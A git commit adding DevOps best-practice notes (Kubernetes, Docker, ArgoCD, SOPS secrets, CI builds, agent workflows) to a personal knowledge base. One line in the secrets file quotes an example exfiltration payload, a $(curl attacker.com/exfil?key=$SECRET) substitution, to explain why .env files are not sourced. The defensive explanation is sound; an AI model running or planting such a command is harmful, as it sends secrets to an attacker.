distill: 49 best practices from 5 projects (2026-03-27..2026-04-05)

Add 37 new entries and update 7 existing entries across 13 topic files.
Major contributions from agent-runtimes (K8s secrets, CI, Docker gotchas),
cluster-bootstrap (ArgoCD SSA, etcd tuning, DB migrations, Compose networking),
and cluster-apps/octopus-deploy (Helm vs raw manifests, ArgoCD source types).

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

.distill-state.json

@@ -1,31 +1,31 @@
 {
   "version": 1,
-  "last_run": "2026-03-27T04:18:44Z",
+  "last_run": "2026-04-05T01:13:48Z",
   "projects": {
     "agent-runtimes": {
       "path": "/home/paul/dev/claude/projects/agent-runtimes",
-      "last_sha": "f88ab834e8d634d976da832362725ab6f60df50f",
+      "last_sha": "9cbef57e08c28b1ca68097178e02093c0835c7d7",
-      "last_run": "2026-03-27T04:18:44Z"
+      "last_run": "2026-04-05T01:13:48Z"
     },
     "claude-foundations": {
       "path": "/home/paul/dev/claude/projects/claude-foundations",
-      "last_sha": "49646df4fbb12acdcecb42e263ee5124aa110d63",
+      "last_sha": "52b0f2b5c63954363a27dbb21edc3890e35cc43e",
-      "last_run": "2026-03-27T04:18:44Z"
+      "last_run": "2026-04-05T01:13:48Z"
     },
     "cluster-apps/octopus-deploy": {
       "path": "/home/paul/dev/claude/projects/cluster-apps/octopus-deploy",
-      "last_sha": "d6aee319f33853ad58ea304d9ea1deedff8444d0",
+      "last_sha": "3f23b8a2c3d4a120599f5a38a654e4af2419672f",
-      "last_run": "2026-03-25T12:00:00Z"
+      "last_run": "2026-04-05T01:13:48Z"
     },
     "cluster-bootstrap": {
       "path": "/home/paul/dev/claude/projects/cluster-bootstrap",
-      "last_sha": "7e3d9700f62f5e52fc9574b46bf676f48e4654bc",
+      "last_sha": "3623b88175e60908f81c099ddb03974436af4b72",
-      "last_run": "2026-03-27T04:18:44Z"
+      "last_run": "2026-04-05T01:13:48Z"
     },
     "custom-claude-skills": {
       "path": "/home/paul/dev/claude/projects/custom-claude-skills",
-      "last_sha": "e8e572e0afdcf3895f4a500ec73ec6d95d1cc19c",
+      "last_sha": "3b954ff02afe8231ee43be92119a56d5763c90e0",
-      "last_run": "2026-03-25T12:00:00Z"
+      "last_run": "2026-04-05T01:13:48Z"
     },
     "hugo-accelerator": {
       "path": "/home/paul/dev/claude/projects/hugo-accelerator",
@@ -34,8 +34,8 @@
     },
     "small-scripts": {
       "path": "/home/paul/dev/claude/small-scripts",
-      "last_sha": "8bd4c7253b0a0df25df0c453f8c9ad28d16f5aac",
+      "last_sha": "529e49fe9803622f734974d46fec71ccb4de4d55",
-      "last_run": "2026-03-27T04:18:44Z"
+      "last_run": "2026-04-05T01:13:48Z"
     }
   }
 }

ABOUT.md

@@ -0,0 +1 @@
+description: Cross-project best practices extracted from real work

BESTPRACTICES.md

@@ -4,27 +4,27 @@ Generalised best practices extracted from real project work via the `/distill-be
 
 ## Topics
 
-- [Validation & Deployment](validation.md) — Validate locally, deploy once; full-chain testing; pre-flight checks
+- [Validation & Deployment](validation.md) — Validate locally, deploy once; full-chain testing; pre-flight checks; DB migration patterns; K8s constraint planning; deployment checklists
 - [Security Architecture](security-architecture.md) — Server boundary rule: no credential crosses to the client; proxy + identity mapping pattern; defense in depth; anti-patterns
-- [Secrets Management](secrets-management.md) — SOPS + age, credential handling, file naming, encryption gotchas
+- [Secrets Management](secrets-management.md) — SOPS + age, credential handling, file naming, encryption gotchas, .env source injection, URL-safe passwords
 - [Git & Source Control](git-source-control.md) — Commit practices, GitOps workflows, remote conventions
-- [Kubernetes Patterns](kubernetes.md) — Volume mounts, deployment strategies, naming, bootstrap ordering
+- [Kubernetes Patterns](kubernetes.md) — Volume mounts, deployment strategies, naming, bootstrap ordering, ArgoCD SSA quirks, etcd tuning, Secret volume gotchas
 - [Helm Charts](helm.md) — Schema validation, version verification, values structure
 - [Ansible](ansible.md) — Inventory, templates, idempotency, credential safety
 - [Scripting](scripting.md) — Shell conventions, verification scripts, idempotency, colour output
 - [Documentation Standards](documentation.md) — CLAUDE.md, MEMORY.md, FUTURE.md, README.md structure and tiered memory
 - [Milestones & Reflections](milestones.md) — Milestone workflow, verification, reflection process
 - [Debugging Methodology](debugging.md) — Systematic diagnosis, full-chain testing, common pitfalls
-- [Claude Code Skills](skills-development.md) — Skill authoring, context injection, tool restrictions
+- [Claude Code Skills](skills-development.md) — Skill authoring, context injection, tool restrictions, read-only review skills, formatter/hook separation
 - [Linting & Formatting](linting.md) — Tool choices per language, PostToolUse hook, pre-commit integration, formatter contract
-- [Spec-Driven Development](spec-driven-development.md) — Spec structure, requirement numbering, test-first workflow, context tiers, anti-patterns
+- [Spec-Driven Development](spec-driven-development.md) — Spec structure, requirement numbering, test-first workflow, multi-model review, plan-first approach, agent prompt conventions
 - [Test-Driven Development](test-driven-development.md) — Edge case discovery, property-based testing, mutation testing, AI agent testing patterns, test architecture
 - [Networking & Infrastructure](networking.md) — nftables safety, systemd socket activation, Docker forwarding, TLS SNI vs Host header, wildcard certs
 - [Docker UID Matching](docker-uid-matching.md) — UID wrapper entrypoint for mounted volumes, gosu pattern, when to use vs K8s securityContext
 - [Database Selection](database-selection.md) — SQLite is not a production database; always use PostgreSQL for services with FQDNs, multiple consumers, or concurrent access
-- [Docker](docker.md) — gosu PID 1, GIT_SSH_COMMAND scope, slim image health checks, buildx local images, default users, TTY flags, UID resolution
+- [Docker](docker.md) — gosu PID 1, GIT_SSH_COMMAND scope, slim image health checks, buildx local images, Compose networking/restart gotchas, volume paths, override merge behaviour
 - [API Design](api-design.md) — Transport security, auth (OAuth2/JWT/mTLS), versioning, pagination, error handling, idempotency, rate limiting, input validation, zero-trust patterns
 - [Octopus Process Templates](octopus-process-templates.md) — OCL syntax, step template references, channel scoping, parameters, versioning, Platform Hub patterns
 - [LLM Code Security](llm-code-security.md) — Security vulnerabilities in AI-generated code: injection flaws, hardcoded secrets, hallucinated packages, over-permissive defaults, IaC risks, crypto mistakes, review checklist
-- [CI Container Builds](ci-container-builds.md) — Registry cache with inline metadata, buildx in DinD, layer ordering, pip caching, scheduled base images
+- [CI Container Builds](ci-container-builds.md) — Registry cache with inline metadata, buildx in DinD, layer ordering, pip caching, path filter gotchas, SHA tagging strategy
-- [Agent Repos & Container Agents](agent-repos.md) — Task submission, harnesses, monitoring, multi-model workflows, agent repo forks, workspace layout, artifact extraction
+- [Agent Repos & Container Agents](agent-repos.md) — Task submission, harnesses, monitoring, multi-model workflows, agent repo forks, workspace layout, artifact passing via git branches

agent-repos.md

@@ -407,3 +407,9 @@ curl -s http://localhost:8100/tasks/{id} | python3 -m json.tool
 # Cancel
 curl -s -X DELETE http://localhost:8100/tasks/{id}
 ```
+
+---
+
+## Artifact Passing via Git Branches Instead of Env Vars
+
+For multi-stage workflows where downstream tasks need upstream outputs, push artifacts to branches in an agent repo rather than embedding in prompts or env vars. This avoids K8s env var size limits (~228KB), survives pod restarts, provides a git audit trail, and scales to any artifact size. The downstream task clones the branch as a reference directory.

ansible.md

@@ -22,7 +22,7 @@
 
 ## Module Gotchas
 
-- `docker_compose_v2` doesn't support `state: restarted` — use `recreate: always` instead
+- `docker_compose_v2` — `state: restarted` is supported since community.docker 3.7.0. The old workaround (`recreate: always`) still works but is no longer necessary
 - `ansible.builtin.unarchive` with `remote_src` and `extra_opts: --strip-components` is unreliable — use `get_url` + `command: tar` separately
 - `get_url` won't re-download when the URL changes but the destination filename stays the same — use a version marker file to detect changes
 
@@ -34,3 +34,11 @@
 ## Docker Compose
 
 - `network_mode: host` ignores `ports:` mappings — remove `ports:` to avoid warnings
+
+## SOPS Vars Plugin Requires Running From ansible.cfg Directory
+
+The `community.sops.sops` vars plugin is configured in `ansible.cfg`. Running `ansible-playbook` from a different directory (even with `-i /path/to/inventory.yml`) fails because the SOPS plugin isn't loaded, causing undefined variable errors for decrypted secrets. Always `cd` to the directory containing `ansible.cfg` before running playbooks that rely on SOPS-encrypted group_vars.
+
+## Ansible file Task on Existing Directories Has Side Effects
+
+An `ansible.builtin.file` task that ensures a directory exists (state: directory, owner/group/mode) will also change any pre-existing directory that doesn't exactly match, even if it belongs to a different service. In roles that manage multiple services, this can cause cross-service side effects. Scope directory tasks tightly with conditionals or use service-specific variable names.

ci-container-builds.md

@@ -151,3 +151,11 @@ DinD sidecars use ephemeral storage. Docker's local layer cache is lost when the
 ### Path filters and workflow-only changes
 
 CI workflows with path filters (e.g., `paths: ["src/**", "Dockerfile"]`) won't trigger when only the workflow file itself changes. This means cache configuration changes require a matching source change to trigger a build. Push a trivial change to a matched path to test.
+
+### CI Path Filters Must Include All COPY'd Directories
+
+When a Dockerfile COPYs from a directory (e.g., `harnesses/`, `models/`), that directory must be in the CI workflow's `paths:` trigger filter. Otherwise, changes to those directories won't trigger image rebuilds, leaving deployed images stale. Always cross-check CI path triggers against Dockerfile COPY sources.
+
+### CI Image Tagging Strategy: Short SHA + Full SHA + Latest
+
+Tag container images with three tags: `sha-<7char>` (human-readable in kubectl output), `<full-sha>` (exact traceability), and `latest` (local dev convenience). The `sha-` prefix distinguishes commit tags from version tags. Pin deploy manifests to commit SHAs via Kustomize `images:` blocks — `git blame` on the kustomization shows exactly when each version was deployed.

debugging.md

@@ -89,3 +89,11 @@ Distroless and single-binary containers (Garage, distroless Go images, etc.) hav
 
 **For HTTP checks:** Use `kubectl port-forward svc/<name> <local-port>:<svc-port>` and run `curl` locally.
 **For verification scripts:** Don't assume exec-based checks will work. Design health checks around port-forward + local tools, or use Kubernetes-native probes.
+
+## Use Container Logs to Narrow the Failure Boundary
+
+When a service appears down, check its logs for successful requests from other clients before assuming a total outage. If some clients are connecting successfully (e.g., HTTP/3 but not TCP, or internal but not external), the issue is narrower than "service is down." This distinction dramatically reduces debugging scope.
+
+## Structured JSON Logging from Application Entry Points
+
+Web frameworks like uvicorn don't configure application-level loggers — only access logs appear by default. Named loggers have no handler unless `logging.basicConfig()` is called explicitly. This makes application logs invisible in production (K8s, Docker) with no error — just silence. Always call `logging.basicConfig()` with a structured format (JSON) early in application startup, before any `getLogger()` calls.

docker.md

@@ -45,3 +45,31 @@ The UID wrapper should resolve the target UID/GID using this priority:
 3. **Skip** — if not root or no mount point exists, run as the default container user.
 
 This makes UID matching a deployment concern (varies per host), not a configuration concern (baked into images). See [Docker UID Matching](docker-uid-matching.md) for the full UID wrapper pattern.
+
+## network_mode: service:* Breaks on Parent Container Restart
+
+When a container shares another's network namespace via `network_mode: "service:<parent>"`, restarting the parent recreates the namespace. The dependent container keeps stale socket bindings — its listeners are bound to a namespace that no longer exists. TCP connections fail while the dependent container appears healthy. Fix: add a healthcheck to the parent and use `depends_on: condition: service_healthy` on the dependent. Alternatively, use an internal bridge network instead of namespace sharing.
+
+## docker compose restart Is Concurrent, Not Ordered
+
+`docker compose restart svc1 svc2 svc3` restarts all named services concurrently, ignoring `depends_on` ordering. Dependent services may start before their dependencies are ready. Use `docker compose up -d` (which respects `depends_on`) or restart in explicit stages: stop dependents, restart the dependency, wait for healthy, then start dependents.
+
+## docker cp Can Corrupt Container Filesystem Ownership
+
+`docker cp` runs as root and can change ownership of parent directories in the container's filesystem layer. This is particularly dangerous for database containers (e.g., PostgreSQL UID 999) — copying a file into `/tmp/` can corrupt the data directory ownership, causing "Permission denied" errors. After any `docker cp` into a stateful container, verify and fix ownership: `chown -R <expected-uid>:<expected-gid> <data-dir>`.
+
+## Prefer Internal Bridge Networks Over Namespace Sharing
+
+For sidecar-style containers that need to communicate (e.g., app + database, app + TLS proxy), prefer an internal Docker bridge network over `network_mode: "service:<parent>"`. Bridge networks allow proper `depends_on` ordering with health checks, independent restart of each container, and clear network isolation. Namespace sharing couples container lifecycles — restarting the parent invalidates the dependent's network stack.
+
+## Verify Dockerfile COPY After Creating New Files
+
+After creating a file intended for a Docker image (scripts, configs, wrappers), immediately add the COPY line to the Dockerfile and verify with `docker run --entrypoint sh <image> -c "ls /path/to/file"`. Files placed in image source directories are not automatically included — they need explicit COPY instructions. This class of bug can remain latent until the code path is first exercised.
+
+## docker-compose.override.yaml Merges Lists Additively
+
+Docker Compose V2 merges list fields (ports, volumes, environment) by appending, not replacing. An override file with a different port mapping adds a second binding rather than replacing the original, causing conflicts. Modify the base `docker-compose.yaml` directly or use `!override` for list replacement.
+
+## Volume Source Paths Must Be Absolute
+
+Docker interprets relative paths in volume mount source fields as named volumes, not bind mounts. Use `os.path.abspath()` or equivalent when constructing volume source paths programmatically. The error message ("includes invalid characters for a local volume name") is misleading — the real issue is that the path is relative.

helm.md

@@ -23,3 +23,7 @@
 - Under cluster pressure (many events, etcd busy), default Helm timeouts may not be enough
 - Increase timeout for initial installs (e.g., 10m instead of 5m)
 - `helm upgrade --install` is idempotent — retries are safe
+
+## Prefer Raw Manifests Over Complex Helm Charts for Simple Workloads
+
+When a Helm chart introduces infrastructure dependencies beyond the application itself (NFS servers, CSI drivers, pre-install hooks with trust bootstrapping, RWX PVC requirements), evaluate whether a raw Deployment or StatefulSet with environment variables would be simpler. Complex charts that bundle infrastructure assumptions are fragile on non-standard clusters. If the application image handles its own configuration via env vars, a raw manifest is often more reliable and debuggable.

kubernetes.md

@@ -67,3 +67,39 @@ Manual bootstrap secrets (encryption keys, OIDC client secrets) must be document
 - `enableServiceLinks: false` may be needed when K8s-injected service env vars conflict with app config (e.g., Authelia interprets `AUTHELIA_*` service vars as configuration).
 - Proxmox VM names must match K8s node hostnames for cloud controller manager integration.
 - Metrics-server on Talos needs `--kubelet-insecure-tls` (self-signed kubelet certs).
+
+## ArgoCD SSA + StatefulSet volumeClaimTemplates = Perpetual OutOfSync
+
+Kubernetes injects `apiVersion` and `kind` fields into StatefulSet `volumeClaimTemplates` on apply. These don't exist in source manifests, causing ArgoCD with ServerSideApply to report perpetual OutOfSync. Fix: add `ignoreDifferences` on the ArgoCD Application targeting `.spec.volumeClaimTemplates[]?.apiVersion` and `.spec.volumeClaimTemplates[]?.kind` (using `jqPathExpressions`), plus `RespectIgnoreDifferences=true` in syncOptions.
+
+## ArgoCD SSA May Not Detect ConfigMap Data Changes
+
+ArgoCD with ServerSideApply sometimes fails to detect changes to ConfigMap `data` values, reporting "Synced + Healthy" while the live ConfigMap has stale content. Root cause: SSA field ownership conflicts between Helm's managed fields and a prior `kubectl apply` annotation. After syncing ConfigMaps managed by Helm+SSA, verify content with `kubectl get cm <name> -o jsonpath='{.data.<key>}'`.
+
+## CSI VolumeAttachment Stuck After Hot-Plug Failure
+
+CSI hot-plug of storage devices can fail silently — the VolumeAttachment object says `attached: true` but the device never appeared on the node. Pods get stuck in `ContainerCreating` with "device not found." Fix: delete the stale VolumeAttachment (`kubectl delete volumeattachment <name>`). The CSI driver recreates it and retries the attach.
+
+## Delete and Recreate ArgoCD Apps on Source Type Changes
+
+When changing an ArgoCD Application's source type (e.g., multi-source Helm to single-source Kustomize), the repo-server may serve cached manifests from the old configuration, and old Helm hook resources become ghost entries that block deletion via finalizers. Delete the Application entirely and let the root app recreate it rather than patching source types in-place.
+
+## etcd on Slow Storage Requires Timeout Tuning
+
+etcd requires sub-10ms fsync for stable operation. On slow storage (HDD, network-attached, overloaded SSD), default timeouts (heartbeat 100ms, election 1000ms) cause leader election flapping, cascading scheduler/controller-manager restarts, and widespread probe failures. Symptoms: "leader failed to send out heartbeat on time", "apply request took too long." Mitigation: increase heartbeat-interval (e.g., 500ms) and election-timeout (e.g., 5000ms). Fix: move etcd to SSD storage. Periodic defrag also helps.
+
+## CrashLoopBackOff Delays New Image Pickup
+
+After CI builds a fix for a crashing pod, the CrashLoopBackOff exponential backoff (up to 5 minutes) means the kubelet won't pull the new image until the next retry window. Run `kubectl rollout restart deployment/<name>` immediately after CI completes to create a fresh pod instead of waiting.
+
+## K8s Secret Volumes Are Read-Only with Root Ownership
+
+K8s Secret volume mounts are read-only — you cannot write or modify files in them. Files are owned by root regardless of fsGroup settings. Non-root processes need `defaultMode: 0444` (world-readable) to access the files. Additionally, mounting a Secret at a parent path shadows any other Secret mounts at child paths — mount each Secret at its own non-overlapping path.
+
+## K8s Env Var Size Limits for Payloads
+
+Kubernetes has a hard limit on environment variable sizes (~228KB base64). Large payloads embedded as env vars cause containers to crash with exit 255 and zero logs. For inter-task artifact passing, use git branches or mounted volumes instead of env var payloads.
+
+## Non-Blocking Registration in FastAPI Lifespan Handlers
+
+Blocking operations (external API calls, service registration) in application lifespan handlers prevent the HTTP server from starting. K8s liveness probes fail and the pod enters CrashLoopBackOff before the operation completes. Use background tasks (e.g., `asyncio.create_task`) for registration so health endpoints respond immediately while registration happens asynchronously. This applies to any K8s-deployed app framework with startup hooks (FastAPI, Flask, etc.).

networking.md

@@ -31,3 +31,7 @@ A reverse proxy must set both. They often need to be the same value, but they're
 Auto-renewing proxies (Caddy, Traefik with Let's Encrypt, etc.) that also support file-loaded certificates treat file-loaded certs as globally available. A wildcard cert loaded for one site block will match ALL matching subdomains, silently preventing automatic certificate issuance for other sites.
 
 **Rule:** Use automatic certificate management for all sites. Don't mix file-loaded and automatic certs unless you understand the matching priority.
+
+## Cilium DNAT Resolves LB VIP Before NetworkPolicy Evaluation
+
+Cilium performs DNAT on LoadBalancer VIP traffic before evaluating NetworkPolicy. Traffic to a VIP is rewritten to a backend pod IP before the policy check. For egress to LoadBalancer services in CiliumNetworkPolicy, use `toEndpoints` targeting the backend pods (by namespace/label), not `toCIDR` targeting the VIP.

scripting.md

@@ -53,4 +53,4 @@ Every script that modifies state should support `--dryrun` / `-n`:
 
 ## JSON Construction in Scripts
 
-Use Python (not shell) for constructing JSON payloads. Multi-line prompts with quotes, backticks, and special characters break shell-based JSON construction (printf/sed/heredocs). Python's `json.dump` handles escaping correctly every time. For scripts that need to construct and submit JSON payloads, write the construction logic in Python even if the rest of the script is bash.
+Use Python (not shell) for constructing JSON payloads. Multi-line prompts with quotes, backticks, and special characters break shell-based JSON construction (printf/sed/heredocs). Python's `json.dump` handles escaping correctly every time. For scripts that need to construct and submit JSON payloads, write the construction logic in Python even if the rest of the script is bash. For long agent prompts, `--prompt-file` with temp files is cleaner than heredocs — writing prompts to `/tmp/*.md` files avoids shell escaping issues and enables review before submission.

secrets-management.md

@@ -50,7 +50,7 @@ The multi-field format is preferable because it's self-documenting — all relat
 
 ## Generating Secrets with gen-secret
 
-Use the `gen-secret` script (from `small-scripts`, symlinked to `~/sbin/gen-secret`) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping.
+Use the `gen-secret` script (from `small-scripts`, symlinked to `~/sbin/gen-secret`) to generate cryptographically random strings that are safe for bash, YAML, and JSON without escaping. The charset explicitly excludes URL-unsafe characters (`@`, `:`, `/`, `^`, `+`, `~`) to prevent connection string parsing failures.
 
 ### Workflow: Generate + SOPS Encrypt
 
@@ -106,3 +106,11 @@ When SOPS-encrypted files contain placeholder values (e.g., `PLACEHOLDER_SESSION
 ## Backup Considerations
 
 Backup plans must include encryption keys (age private keys, etc.) so that encrypted data in Git repos remains recoverable.
+
+## Never Source .env Files in Security-Sensitive Contexts
+
+Shell `source` on .env files executes arbitrary commands — a crafted file with `$(curl attacker.com/exfil?key=$SECRET)` would exfiltrate secrets. Use a safe line-by-line parser that only exports lines matching strict KEY=VALUE format: `while IFS= read -r line; do [[ "$line" =~ ^[A-Z_][A-Z0-9_]*= ]] && export "$line"; done < file.env`. This is especially important in container init scripts and wrapper scripts that process credential files.
+
+## URL-Safe Password Generation
+
+Generated passwords that appear in connection strings (DATABASE_URL, AMQP URLs, etc.) must use URL-safe characters only: `A-Za-z0-9._-`. Characters like `^`, `@`, `:`, `/`, `+` break URL parsing in libraries like SQLAlchemy. Prevention via charset restriction is simpler and more reliable than URL-encoding passwords after generation.

skills-development.md

@@ -56,3 +56,12 @@ When breaking work into tasks for independent agents (container-based or otherwi
 - **Include explicit "read these files first" instructions** in each task prompt
 - **Balance granularity** — over-decomposing creates merge overhead; under-decomposing wastes parallelism potential
 - **Scope each task to one deliverable** with clear reads (inputs) and writes (outputs) to minimise conflicts
+- **Use 3+ parallel research agents before architecture decisions.** Survey competing tools, best practices, and user patterns in parallel before committing to a design. Breadth of input prevents tunnel vision during planning.
+
+## Make Review Skills Read-Only
+
+Skills that review artifacts (plans, specs, designs) should be read-only — restrict allowed-tools to Read, Glob, Grep, and safe Bash commands. Review output informs the human rather than auto-editing, which avoids unintended changes and reduces permission prompts. Load best-practice context upfront — better to load too much reference material than to miss a relevant check.
+
+## Separate Formatter Exit Codes from Hook Exit Codes
+
+When integrating formatters with Claude Code hooks, keep formatter scripts and hook dispatch logic separate. Formatter scripts exit 0 (clean) or 1 (lint errors). The dispatch hook decides the final exit code semantically (e.g., exit 2 for PostToolUse feedback). This separation means the same formatter scripts work for both PostToolUse hooks and pre-commit hooks without modification.

spec-driven-development.md

@@ -219,6 +219,12 @@ This works significantly better than defining all tasks upfront because spec age
 
 Agent orchestration leaves integration gaps at component boundaries. Each agent completes its assigned scope correctly, but nobody owns the integration points between them (e.g., stub comments, ORM mapping methods not updated for new fields). After every orchestration run, include an explicit integration verification step that checks cross-component contracts — call sites, shared data models, and handoff points.
 
+Integration failures fall into a taxonomy of root causes. Categorize failures before fixing and address them category-by-category:
+1. **New required fields on shared dataclasses without defaults** — An agent adds a field to a shared data model without a default value, breaking every other agent's code that constructs that model.
+2. **Mock targets that don't match actual code structure** — Agents patch `"module.ClassName.method"` but the actual code uses a different import path or method name, so tests pass against mocks but fail against real code.
+3. **Tests written before implementation is finalized** — Tests assume behaviour that changed during implementation. The spec said one thing, the implementation diverged, and the test was never updated.
+4. **Tests with `clear=True` on `os.environ` missing required env vars** — Tests that clear the environment forget to set variables the code requires at import time or during setup, causing failures unrelated to the tested behaviour.
+
 ### Decompose Along File Boundaries
 
 When splitting work into parallel agent tasks, ensure each task writes to distinct files. When two agents must modify the same file, make the shared changes small and predictable — identify the conflict point upfront so the merge is trivial. File-boundary decomposition produces zero-conflict assemblies.
@@ -248,3 +254,27 @@ When changes are small per file (5-15 lines) but tightly coupled across many fil
 ### Untested requirements
 **Symptom:** Requirements exist in the spec but no test references them. They drift without anyone noticing.
 **Fix:** Spec coverage check in CI. Every requirement ID must appear in at least one test function name.
+
+## Multi-Model Review for Security-Critical Specs
+
+Running the same security review with two different LLM models and comparing outputs catches significantly more issues than either alone. In measured experiments, only 62% of findings overlapped — the union covered 38% more issues. For security-critical specs, the cost of a second model review is justified by the coverage improvement. When models agree, confidence is high; when they disagree, escalate to human review.
+
+## Security Review Before Agent Implementation
+
+Run a security review of the plan before decomposing into implementation tasks. A 15-minute review before coding catches real vulnerabilities that would otherwise ship to production. Example: a `source` injection vulnerability in a wrapper script was caught during plan review that would have been a production security hole if caught only after implementation.
+
+## Forward-Looking Annotations Must Be Labelled
+
+RBAC annotations and other forward-looking requirements in specs (e.g., "requires admin role" when RBAC isn't implemented yet) must be prefixed with "(Future MN)" to indicate they describe future enforcement, not current behaviour. Without the label, agents may implement access checks prematurely or build infrastructure not needed for the current milestone.
+
+## New Fields on Shared Data Models Must Have Defaults
+
+When adding fields to shared data models (dataclasses, Pydantic models, Protobuf messages), new fields must always have default values. Code in other branches, agents, or callers constructs instances without the new field. A required field without a default breaks every existing caller. Use `field(default_factory=list)` for collections and `None` or sentinel values for optionals.
+
+## Agent Prompts Must Include Mock Targets and Import Conventions
+
+Agents working in isolated worktrees or containers cannot discover mock targets or import conventions from sibling test files. Every implementation prompt must explicitly state: the exact function paths to mock (e.g., `patch.object(instance, "_method_name")` not `patch("module.function")`), the project's import convention, and test fixture patterns.
+
+## Plan-First Approach Eliminates Fix Cycles for Cross-Cutting Changes
+
+For changes touching 5+ files across multiple subsystems, invest 30-45 minutes in exploration and planning before writing code. Measured results: sessions with plan-first had 0 fix commits; sessions with code-first had 7:1 fix:forward ratios. Use parallel exploration agents to cover different dimensions of the problem space.

validation.md

@@ -63,6 +63,8 @@ Doing all steps at once risks losing access if any step fails. Plan the ordering
 
 Before pushing Dockerfile or service configuration changes, run `docker compose up` locally with a real database and real service images. Unit tests cannot catch deployment-category bugs: Dockerfile CMD syntax, import path errors, env var prefix mismatches, URL encoding issues, factory patterns, startup ordering. A single local `docker compose up` catches these in seconds vs. the 3+ minute CI cycle per fix.
 
+**This applies to ANY iteration on K8s-deployed features, not just initial setup.** Budget 2-3 fixup deploy cycles (~7-10 min each) for any feature first deployed to K8s. Infrastructure gaps between dev and prod always surface issues that unit tests cannot catch: missing COPY directives in Dockerfiles, missing RBAC permissions, wrong file permissions, read-only filesystem constraints. Accepting this cost upfront and smoke-testing locally before each push minimises the number of wasted cycles.
+
 ## Stream Secrets from Source Files, Never from Context
 
 When piping secrets into commands (base64 encoding, kubectl create secret, etc.), always stream from the source file in the same pipeline: `cat /path/to/secret | base64`. Never reconstruct a secret value from conversation context or memory — single-character typos in tokens cause authentication failures that are extremely difficult to diagnose. Save generated secrets to `local_secrets/` immediately upon creation, then reference that file for all subsequent uses.
@@ -78,3 +80,35 @@ When starting a milestone with multiple architectural choices, batch all decisio
 ## Explore the Target Environment Before Planning
 
 For infrastructure-heavy work, research the target environment's actual state before making design decisions. This means checking: what ingress controller is in use, how DNS resolves, what TLS strategy exists, what storage backends are available, what auth middleware is configured. Discovering these facts during planning (not implementation) prevents architectural surprises. In agent-orchestrated workflows, dedicated exploration agents that survey the target environment pay for themselves by eliminating implementation detours.
+
+## Two-Commit Pattern for In-Cluster Database Migrations
+
+When migrating a K8s service to a new database backend: commit 1 = additive (deploy new database alongside existing setup), commit 2 = config switch (point the app at the new database). This avoids fighting GitOps controllers with `selfHeal: true`, which immediately revert manual scale-down operations. The pattern also provides a rollback path — if the config switch fails, revert commit 2.
+
+## Rehearse Database Migrations on a Disposable Instance
+
+Before running any production database migration, rehearse the full path on a disposable instance (Docker container, test namespace). Migration tooling has undocumented quirks: missing commands, flag-dependent output formats, permission side effects. A 5-minute rehearsal catches these, vs. 30+ minutes debugging live.
+
+## Read the App's Entrypoint Script Before Configuring Env Vars
+
+For containerized apps with custom env var conventions, read the entrypoint script once before writing any configuration. Many apps use prefix-based conventions that aren't fully documented. Discovering these through trial and error costs a push-restart-debug cycle per mistake. Five minutes reading the entrypoint saves 30-60 minutes of iterative fixing.
+
+## New Platform Service Deployment Checklist
+
+When adding any new service to a platform/cluster, use a standard checklist: (1) application manifests, (2) secrets management, (3) GitOps application definition, (4) auth/SSO integration, (5) dashboard/UI registration, (6) ingress/routing rules, (7) reverse proxy config, (8) DNS records, (9) deploy automation, (10) full-chain test. A written checklist prevents the "forgot to add the DNS record" class of errors.
+
+## Evaluate Content Home Before Building
+
+Before creating a new system, document type, or knowledge artifact, discuss where it belongs conceptually. Different content types have different lifecycles: accumulated learnings (MEMORY.md) vs authoritative maintained maps (SPEC, CLAUDE.md) vs behavioural contracts (spec files) vs current focus (CONTEXT.md). Picking the wrong home means future maintenance friction.
+
+## Add SSH-Authenticating User as Collaborator When Creating Repos via API
+
+When creating Git repos via API token (which authenticates as one user) but pushing via SSH (which authenticates as a different user based on SSH key config), always add the SSH user as a collaborator with write access before the first push. A 403 on push after a successful API create is the symptom.
+
+## Use kubectl exec to Verify Deployed Container Contents
+
+When confirming whether a fix is deployed, `kubectl exec deploy/<name> -- ls <path>` or `kubectl exec deploy/<name> -- cat <path>` is faster and more reliable than correlating CI build timestamps with commit times or checking registry tags.
+
+## Think Through K8s Constraints Before Coding Docker-First Solutions
+
+Before implementing a feature that works in Docker, enumerate the K8s differences: read-only Secret volumes, root-owned files, no host-path mounts, separate pod filesystem, env var size limits. Design for both backends upfront. Planning for both environments from the start eliminates costly iteration cycles.